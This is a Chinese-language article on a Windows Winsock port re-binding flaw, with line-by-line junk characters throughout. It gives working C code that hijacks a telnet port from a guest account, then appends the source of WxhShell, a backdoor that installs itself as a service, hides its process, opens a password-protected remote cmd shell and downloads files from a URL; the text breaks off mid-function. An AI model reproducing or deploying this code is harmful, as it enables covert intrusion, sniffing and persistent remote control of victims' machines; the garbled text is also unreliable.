在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D=hy[sDBw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L *a:j : GVyY]qBU saddr.sin_family = AF_INET;
^P4q6BW F't4Q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
PtH>I,/ K`7(*!HEb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Akar@ wh ObK-<kGcB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>?-etl vL>cYbJ< 这意味着什么?意味着可以进行如下的攻击:
#&fi[|%X$ ;WydXQ}Q^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q"o* \I sGg=4(D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DhN{Y8'~ vD,ZEKAN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
OVwcjhQ )uj:k*`) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]i$<<u YJBlF2uD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D8Ntzsr6 O!uZykdX4! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MK"p~b0-> 9'1XZpM1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y
{&"g bl8zcpdL #include
]2:w?+T #include
d-GU164 #include
EC`!&Yp+ #include
2O|jVGap5x DWORD WINAPI ClientThread(LPVOID lpParam);
Ge'[AhA int main()
sBN"eHg {
$#z
` R; WORD wVersionRequested;
.|$:%"O&X DWORD ret;
xqZZ(jZ WSADATA wsaData;
B^7B-RBi0 BOOL val;
Th\w#%'N SOCKADDR_IN saddr;
)Y@E5Tuk> SOCKADDR_IN scaddr;
Ch] `@(l int err;
":qhO0 SOCKET s;
dBWi1vTF SOCKET sc;
8fI]QW int caddsize;
`_MRf[Z} HANDLE mt;
$Ph
T : DWORD tid;
?*{Vn5aX{ wVersionRequested = MAKEWORD( 2, 2 );
''Pu err = WSAStartup( wVersionRequested, &wsaData );
6dH> 0l if ( err != 0 ) {
1{fu printf("error!WSAStartup failed!\n");
`>HM<Nn-0 return -1;
!t;B.[U * }
buj*L& saddr.sin_family = AF_INET;
iBqxz:PHN( z9}WP$W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s%bm1$} MD4RSl<F saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[=EmDP:@ saddr.sin_port = htons(23);
a<E\9DL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n<)gS7 {
IPVD^a? printf("error!socket failed!\n");
=q\Ghqj1 return -1;
,J@A5/B,AA }
IYG,nt! val = TRUE;
6_=t~9sY //SO_REUSEADDR选项就是可以实现端口重绑定的
za,JCI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
j}`XF?2D {
hZw bYvu printf("error!setsockopt failed!\n");
6f'THU$ return -1;
zObrp }
rOo|.4w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%ij,xN //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
WV8vDv1jt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F97HFt6{ =C(((T. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_O$7*k {
#dj,=^1_14 ret=GetLastError();
lf9mdbm printf("error!bind failed!\n");
_'}Mg7,V return -1;
/)J]m }
,]L sX"u listen(s,2);
P+Q}bTb8 while(1)
c}G\F$ {
X(npgkVP\ caddsize = sizeof(scaddr);
L!LhH //接受连接请求
qa>H@`P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6k6}SlN[ if(sc!=INVALID_SOCKET)
^Z>Nbzr{ {
BCI[jfd 7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
cna/?V if(mt==NULL)
([ODmZHv {
G6XDPr:} printf("Thread Creat Failed!\n");
hQ80R B break;
i`7(5L~` }
l
Zz%W8" }
-%ftPfm CloseHandle(mt);
oU/{<gs }
^JY,K closesocket(s);
]
L6LB\ WSACleanup();
>|rU*+I` return 0;
L#`Vr$ }
FT
Ytf4t DWORD WINAPI ClientThread(LPVOID lpParam)
VT2f\d[Q {
v
8B4%1NE SOCKET ss = (SOCKET)lpParam;
ZkqZO#nq
C SOCKET sc;
_W unsigned char buf[4096];
*q*$%H SOCKADDR_IN saddr;
U.pGp]\Q)G long num;
PlRcrT"#w DWORD val;
6=p!`DOd DWORD ret;
Lk]W? //如果是隐藏端口应用的话,可以在此处加一些判断
2v`Q;%7O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
` 1vDp. saddr.sin_family = AF_INET;
9P&{Xhs7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:NynNu' saddr.sin_port = htons(23);
6$&%z Eh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'Gqo{wl {
>)edha*W] printf("error!socket failed!\n");
N gagzsJ= return -1;
u+m9DNPF }
T-y5U}, val = 100;
B)BR
y% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u,JUMH]@ {
M~g{}_0Z ret = GetLastError();
l9naqb:iP return -1;
hg-M>|s7 }
>rY^Un{Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tPChVnB {
|4!G@-2V:I ret = GetLastError();
7`SrqI& return -1;
ot,=.%O }
ss4YeZa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:KI0j%>2y {
D22A)0+_ printf("error!socket connect failed!\n");
Ki dbcZ closesocket(sc);
5l]qhi3f closesocket(ss);
dZ x return -1;
"4L_BJZ }
_xGC0f ( while(1)
tja7y"(] {
km29]V=} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3 (F+\4aRm //如果是嗅探内容的话,可以再此处进行内容分析和记录
+8.1cDEH\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bd&Nf2 num = recv(ss,buf,4096,0);
]Cp`qayct if(num>0)
,p
V3O`z send(sc,buf,num,0);
|XJ|vQGU else if(num==0)
2+|U!X break;
7Mb-v} num = recv(sc,buf,4096,0);
@@& ?,3 if(num>0)
/\U:F send(ss,buf,num,0);
}tbZ[:T{K else if(num==0)
^TT_BAI break;
BOme`0A }
WfYC`e7q closesocket(ss);
:Fi$-g closesocket(sc);
GriFb]ml" return 0 ;
gp4@6HuUd }
ivvm.7{ R(IYb%L f`-UC_(; ==========================================================
*z__$!LR C;m*0#9D 下边附上一个代码,,WXhSHELL
Q+dLWFI |H;+9( ==========================================================
YXDuhrs} j#
n #include "stdafx.h"
Svm'ds7> .Ix[&+LsY #include <stdio.h>
%18%T{|$e #include <string.h>
G=&nwSL #include <windows.h>
Q@/Z~xw"'I #include <winsock2.h>
Ie/dMB=t #include <winsvc.h>
s ?|Hw|j #include <urlmon.h>
> mEB, FvDi4[F# #pragma comment (lib, "Ws2_32.lib")
u_6x{",5I #pragma comment (lib, "urlmon.lib")
l a>H& kNoS% ?1, #define MAX_USER 100 // 最大客户端连接数
]l6niYVB2 #define BUF_SOCK 200 // sock buffer
z7R2viR[ #define KEY_BUFF 255 // 输入 buffer
r tH
#j dg4q+ #define REBOOT 0 // 重启
MbXtmQ%C8 #define SHUTDOWN 1 // 关机
MGH2z: !CR#Fyt+9 #define DEF_PORT 5000 // 监听端口
P9q ZjBS 5-POYug #define REG_LEN 16 // 注册表键长度
|A#\5u #define SVC_LEN 80 // NT服务名长度
0+Q;a j{Sbf04 // 从dll定义API
*@g>~q{` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:Q"p!,X=- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Wx|De7* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7-d.eNQl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
LQJC ]*b1 f*Yr*yC // wxhshell配置信息
a=M/0N{! struct WSCFG {
H Yw7* int ws_port; // 监听端口
C%AN4Mo char ws_passstr[REG_LEN]; // 口令
.yQ< int ws_autoins; // 安装标记, 1=yes 0=no
r>J%Eu/O char ws_regname[REG_LEN]; // 注册表键名
4f'!,Q ; char ws_svcname[REG_LEN]; // 服务名
:*eJ*(M char ws_svcdisp[SVC_LEN]; // 服务显示名
[H{2<! char ws_svcdesc[SVC_LEN]; // 服务描述信息
CB`GiH/j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$.3J1DU int ws_downexe; // 下载执行标记, 1=yes 0=no
DUb8 HgcV} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lCGEd 3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cRP!O|I`] EXti };
;OSEMgB1 G' mg-{ // default Wxhshell configuration
d Y`P struct WSCFG wscfg={DEF_PORT,
Bs^p!4=
"xuhuanlingzhe",
%XH%.Ps/ 1,
s,-}}6WO "Wxhshell",
petq6)g? "Wxhshell",
lfqsoIn; "WxhShell Service",
'}F..w/ "Wrsky Windows CmdShell Service",
kyr=q-y "Please Input Your Password: ",
{VKP&{~O 1,
L
|
#"Yn "
http://www.wrsky.com/wxhshell.exe",
Gk!CU"`sP "Wxhshell.exe"
&_,.*tha };
LknV47vd =4K:l}} // 消息定义模块
\omfWWpK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
oo]g=C$n char *msg_ws_prompt="\n\r? for help\n\r#>";
QsyM[; \j: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rmPJid[8B~ char *msg_ws_ext="\n\rExit.";
x/IAc6H~_8 char *msg_ws_end="\n\rQuit.";
P7*?E* char *msg_ws_boot="\n\rReboot...";
&;%,Axc char *msg_ws_poff="\n\rShutdown...";
%9_jF" char *msg_ws_down="\n\rSave to ";
L\\'n ) fnK H< char *msg_ws_err="\n\rErr!";
L6J.^tpO char *msg_ws_ok="\n\rOK!";
s"(F({J Z._%T$8aJv char ExeFile[MAX_PATH];
qm"AatA int nUser = 0;
Zz! yv(e)H HANDLE handles[MAX_USER];
&"clBRVg int OsIsNt;
*ch7z|wo. wPaMYxO/ SERVICE_STATUS serviceStatus;
?J6\?ct4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Pl&x6\zL P>_ r6C // 函数声明
_ECH( int Install(void);
jk1mP6'P| int Uninstall(void);
r_pZK(G% int DownloadFile(char *sURL, SOCKET wsh);
/<CgSW} int Boot(int flag);
wQ '_, d void HideProc(void);
N`+@_.iBX int GetOsVer(void);
q=;U(,Y int Wxhshell(SOCKET wsl);
dI~{0)s void TalkWithClient(void *cs);
'y|p)r" int CmdShell(SOCKET sock);
_p0G8 int StartFromService(void);
,9~qLQ0O int StartWxhshell(LPSTR lpCmdLine);
!~te&ccPE DxxY<OkN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`$ZBIe/u VOID WINAPI NTServiceHandler( DWORD fdwControl );
OVEQ^\Q5D 7$7#z\VWu // 数据结构和表定义
B } SERVICE_TABLE_ENTRY DispatchTable[] =
d+%Rg\v {
D4PjE@D"H {wscfg.ws_svcname, NTServiceMain},
0t -=*7w% {NULL, NULL}
0134mw%jk };
iV.j!H7o (`&E^t // 自我安装
}=s64O9j int Install(void)
FTcXjWBPF9 {
d1u6*&@lf char svExeFile[MAX_PATH];
B=|m._OL]n HKEY key;
Pk)H(, strcpy(svExeFile,ExeFile);
(XQ:f|( *q0vp^? // 如果是win9x系统,修改注册表设为自启动
73kI%nNB if(!OsIsNt) {
oZw #]Q@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~jMfm~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;oVFcZSA RegCloseKey(key);
SAokW, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f|&,SI ? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D9higsN RegCloseKey(key);
#NQx(C return 0;
Wrs6t }
%VwkYAgA }
Z1R{'@Y0Z }
y1kI^B else {
2\9OT> +/!y#&C&* // 如果是NT以上系统,安装为系统服务
mxmj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-5MQ/ujQ if (schSCManager!=0)
Lo5CVlK {
3/EJ^C SC_HANDLE schService = CreateService
c>L#(D\\ (
#P;vc{ Iq schSCManager,
*m:'~\[u wscfg.ws_svcname,
jDCf]NvOPM wscfg.ws_svcdisp,
&6\f;T4 SERVICE_ALL_ACCESS,
{1[f9uPS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UiH5iZ<r; SERVICE_AUTO_START,
8eD/9PD=F SERVICE_ERROR_NORMAL,
7 MG<!U svExeFile,
F tay8m@f NULL,
)*Rr5l /l NULL,
_!^2A3c< NULL,
RwDXOdgu NULL,
o~ReeZ7)Zg NULL
$c7Utms );
QHw{@* if (schService!=0)
\Vl)q>K_h {
k;pU8y6Y CloseServiceHandle(schService);
XrN]}S$N CloseServiceHandle(schSCManager);
0oo*F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NU.YL1 strcat(svExeFile,wscfg.ws_svcname);
T)*tCp] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Jp +h''t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
15"[MX A RegCloseKey(key);
oZ!+._9 return 0;
qz.WF8Sy2 }
t[X,m]SX }
Wo<kKkx2 CloseServiceHandle(schSCManager);
4\(|V
fy }
Ls{]ohP }
g/`z.? @S?D}myD return 1;
Y$nI9 }
&|c] U/_w G33'Cgo:, // 自我卸载
4B'-tV int Uninstall(void)
a\Dw*h?b~ {
}!@X(S!do
HKEY key;
N A9ss <<+Hs/ ] if(!OsIsNt) {
f4&k48Ds if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
95oh}c RegDeleteValue(key,wscfg.ws_regname);
`d!~)D RegCloseKey(key);
5c-'m?k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8 qwOZ
d RegDeleteValue(key,wscfg.ws_regname);
}BLT2]y0 RegCloseKey(key);
<R8!fc{` return 0;
2jH&@g$cl; }
}d 16xp }
J_>nn }
s78V \Vw3 else {
L+TM3*a* ~:):.5o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
02~GT_)$^ if (schSCManager!=0)
t$5)6zG {
@4%x7%+[c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
R4[dh.lf if (schService!=0)
aXyg`CDv {
}ygxmb^@Z if(DeleteService(schService)!=0) {
)}5f'TK CloseServiceHandle(schService);
P>;u S CloseServiceHandle(schSCManager);
+u'y!@VV return 0;
K 6HH_T }
k{B;J\`E; CloseServiceHandle(schService);
_-bEnF+/0 }
0O7VM)[ CloseServiceHandle(schSCManager);
@-5V~itW }
\_PD@A9 }
hYv;*] ]>k>Z#8E* return 1;
yB,{:kq7D }
"xY]& %eLf6|1x // 从指定url下载文件
">NPp\t>/Z int DownloadFile(char *sURL, SOCKET wsh)
Xw{Qktn {
DJ<F8-sb2r HRESULT hr;
PvB-Cqc char seps[]= "/";
X1;ljX char *token;
_!C'oG6s? char *file;
sH{4 .tw char myURL[MAX_PATH];
9Z;"9$+M char myFILE[MAX_PATH];
fN{JLp osW"b"_f strcpy(myURL,sURL);
vqnFyd token=strtok(myURL,seps);
o5|P5h while(token!=NULL)
6qzy eli {
u[2B0a file=token;
p:q?8+W-r token=strtok(NULL,seps);
{[Vkht} }
[^GXHE= VN!+r7w' GetCurrentDirectory(MAX_PATH,myFILE);
@E@5/N6M strcat(myFILE, "\\");
,I|Tj C5 strcat(myFILE, file);
b\H !\A send(wsh,myFILE,strlen(myFILE),0);
RFqf$ send(wsh,"...",3,0);
,.T k"\@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lL{1wCsl if(hr==S_OK)
wUBug return 0;
li~#6$ else
h|S6LgB return 1;
FfR%@
V' #_}r)q
}
_ZU.;0 ~*,e &I // 系统电源模块
o$,Dh?l int Boot(int flag)
#X?#v7i",D {
bEc @"^) HANDLE hToken;
y+.E} TOKEN_PRIVILEGES tkp;
;'g.%
/i if(OsIsNt) {
-32?]LN}
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fPLi8`r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^~:&/ 0 tkp.PrivilegeCount = 1;
o$FYCz n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Kgw_c:/' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Cvf^3~q if(flag==REBOOT) {
@+`">a8}, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|w7D&p$ return 0;
$IU|zda8 }
A(<"oAe| else {
'5BM*4,:O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ka$oUB)iQ return 0;
7,![oY[ }
37M?m$BL }
o/Cu^[an else {
Jm(sx'qPx if(flag==REBOOT) {
%ymM#5A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HECZZnM return 0;
z8"(Yy7m }
xf?6_= else {
J6 VG j=/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~>]/1JFz return 0;
`p.O }
aAX(M=3 }
Gap\~Z@L T)QT_ST.9 return 1;
7Vd"AVn}g }
Xw2tCRzD DY~zi // win9x进程隐藏模块
/>i~No#Xm void HideProc(void)
~YX!49XfHh {
ETA 1\ X+*"FKm S. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]1XJQW@gF if ( hKernel != NULL )
'n)]"G| {
9se,c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9W[ ~c"Ku ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
cG`R\$ FreeLibrary(hKernel);
[MkXQwY }
*A,h^ )Z2l*fV return;
xqua>!mqS }
ny. YkN2 re `B fN // 获取操作系统版本
F5#P{zk| int GetOsVer(void)
?oc#$fcQ~ {
%z_PEqRj OSVERSIONINFO winfo;
'{t&!M` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$ 4&
) GetVersionEx(&winfo);
^j1WF[GiSO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*k]izWsV* return 1;
4l6+8/Y else
jo-qP4w return 0;
;DkX"X+ }
Zu$30&U >c~Fgs // 客户端句柄模块
XSu9C zx&I int Wxhshell(SOCKET wsl)
8u401ddg {
d`_X$P4y SOCKET wsh;
$
+` struct sockaddr_in client;
jNIZ!/K DWORD myID;
lP!`lhc-^ .mse.$TK.^ while(nUser<MAX_USER)
"2}E ARa {
fFHT`"bD: int nSize=sizeof(client);
)T=cd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5jpb`Axj# if(wsh==INVALID_SOCKET) return 1;
7%-+7O 3ud 5F8sigr/h handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s5s'$|h" if(handles[nUser]==0)
Felu`@b closesocket(wsh);
oWZbfR9R else
/uc*V6Xd
( nUser++;
@y (9LSs
}
FE)L? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Wm5/>Cu, \&&jzU2 return 0;
Btmv{'T_y@ }
f2sv$#' Tn~b#-0 // 关闭 socket
@bN`+DC!< void CloseIt(SOCKET wsh)
FQbF)K~e {
=]pcC closesocket(wsh);
USKa6<:{W nUser--;
8?lp:kM ExitThread(0);
-NG`mfu }
Z;^UY\&X piRP2Lbm* // 客户端请求句柄
'NM$<<0 void TalkWithClient(void *cs)
F 8\nAX {
A;t6duBDf/ 26YY1T\B) SOCKET wsh=(SOCKET)cs;
A~CQ@ char pwd[SVC_LEN];
;NrN#<j(! char cmd[KEY_BUFF];
je^!W?U4< char chr[1];
D Hkmn int i,j;
H!y%Fa Ti &></l| hY while (nUser < MAX_USER) {
Wx;`=9 &ACM:&Ob if(wscfg.ws_passstr) {
dF$Fd{\4^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HWFI6N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E6iUa' //ZeroMemory(pwd,KEY_BUFF);
kI>Iq
Q-h i=0;
*&b~cyC while(i<SVC_LEN) {
O.n pi: a "#T3l^@ // 设置超时
9/rX% fd_set FdRead;
(fc
/"B- struct timeval TimeOut;
6m_whGosi FD_ZERO(&FdRead);
r Bv FD_SET(wsh,&FdRead);
KGCm@oy TimeOut.tv_sec=8;
bgW=.s TimeOut.tv_usec=0;
6{rH|Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~/hyf] *j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u:+wuyu ]XX8l:+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zG_e= pwd
=chr[0]; 8y!d ^EQ
if(chr[0]==0xd || chr[0]==0xa) { o(iN}. c
pwd=0; Fg8i}
>w
break; .6Swc?
} ;<Dou7=
i++; 4qtjP8Zv[
} n>F1G
MX
r>N5^
// 如果是非法用户,关闭 socket ][8ZeM9&p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F&}>2QiL
} krkRP%jy
[gZd$9a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [4:_6vd7X
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ds|/\cI$%a
k,>sBk8
while(1) { $ig%YB
}
FcWzi
ZeroMemory(cmd,KEY_BUFF); OM!CP'u#{
,fQc0gM=[
// 自动支持客户端 telnet标准 yZ t}Jnv
j=0; X%7Y\|
while(j<KEY_BUFF) { IS0RhtGy/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >&h#t7<
cmd[j]=chr[0]; T)Byws
if(chr[0]==0xa || chr[0]==0xd) { EB'(%dH
cmd[j]=0; 3 }Z[d
break; a%>p"4WL
} "WOY`su>
j++; *V(TNLIh;
} 7MreBs(M
bq3G3oAyG
// 下载文件 H"W%+{AR
if(strstr(cmd,"http://")) { wXf_2qB9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4CO:*qG)o
if(DownloadFile(cmd,wsh)) CMa ~BOt #
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [nBlHI;&
else hA)tad]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k WYjqv
} >IO}}USm
else { IH?.s
k
Hk%m`|Z
switch(cmd[0]) { " FI]l<G&
#imMkvx?
// 帮助
Z+ [Nco
case '?': {
QSf{V(fs
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g9OO#C>
break; +^hFs7je)
} 5S:#I5Wa
// 安装 0%.l|~CE&
case 'i': { S5]rIcM
if(Install()) }~$zdgMT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D^P_3
B+
else i[)H!%RV*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qy |*[
break; Ro`Hm8o/
} Kr`Cr5v
// 卸载 C#X|U2$
case 'r': { :~BY[")
if(Uninstall()) !u)veh3x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:S+Pt~
else U}(*}Ut
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE)?P*$3 Z
break; =p|,~q&i
} 1QXv}36#3n
// 显示 wxhshell 所在路径 [_ESR/&N
case 'p': { ::N'tcZ^2
char svExeFile[MAX_PATH]; !Q=H)\3
strcpy(svExeFile,"\n\r"); MDa 4U@Q
strcat(svExeFile,ExeFile); !]7r>NS>
send(wsh,svExeFile,strlen(svExeFile),0); ~7T]l1]W%
break; UbT 7
} <)+9PV<w
// 重启 37Vs9w
case 'b': { !Z2?dhS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6}A1^RB+w
if(Boot(REBOOT)) 4M'y9 (
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7*]O]6rP
else { Qp~O!9ph
closesocket(wsh); n#,|C`2r
ExitThread(0); Z?Y14L~%
} {j.5!Nj]B
break; -kT *gIJ}
} _U;z@
// 关机 @#$5_uU8\(
case 'd': { i/`N~r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &wr0HrE\
if(Boot(SHUTDOWN)) pq$`T|6^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8R}CvzI
else { ZG>I[V'p=
closesocket(wsh); }stc]L{79
ExitThread(0); E c[-@5x
} gnF]m0LR
break; <m:8%]%M6
} &u0JzK
// 获取shell ^w'y>uFM
case 's': { CEjMHP$=
CmdShell(wsh); Lgl%fO/<t
closesocket(wsh); C5GO?X2
ExitThread(0); qB
PUB(
break; :G\f(2@
} "pGSz%i-
// 退出 cXu"-/
case 'x': { ~YO99PP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zX{K\yp
CloseIt(wsh); X@JrfvKv[d
break; 9BgR@b
} q_K8vGm4e
// 离开 FYh+G-Y#
case 'q': { v8Gm;~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }cuU5WQ?%
closesocket(wsh); S?n, O+q
WSACleanup(); FYU)sQ
exit(1); Oo<L~7B
break; C,$$bmS=
} -)_"7}|u5
} &'
E(
} k4Ed 7T-
jt9fcw
// 提示信息 }: v&Nc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5{?J5
} #_)<~
} %!Z9: +;B
'o41)p
return; NVqJN$z
} \!D <u'n
RQ}0f5~t
// shell模块句柄 .;#Wf@V
int CmdShell(SOCKET sock) |/rms`YQ
{ k$j4~C'$
STARTUPINFO si; h8# 14?
ZeroMemory(&si,sizeof(si)); ;la sk4|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !
*Snx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >9F&x>~
PROCESS_INFORMATION ProcessInfo; j?a^fcXB
char cmdline[]="cmd"; -DWyKR= j"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lh eOGM
return 0; w<}kY|A"=-
} PX7@3Y
Wx~N1+
// 自身启动模式 iKs @oHW
int StartFromService(void) @APv?>$)
{ NF9fPAF%;
typedef struct 3-^z<*
{ .;),e#
DWORD ExitStatus; V $'~2v{_
DWORD PebBaseAddress; s.VtmAH
DWORD AffinityMask; UEkn@^&bg
DWORD BasePriority; `[.b>ztqgJ
ULONG UniqueProcessId; %9
kOl
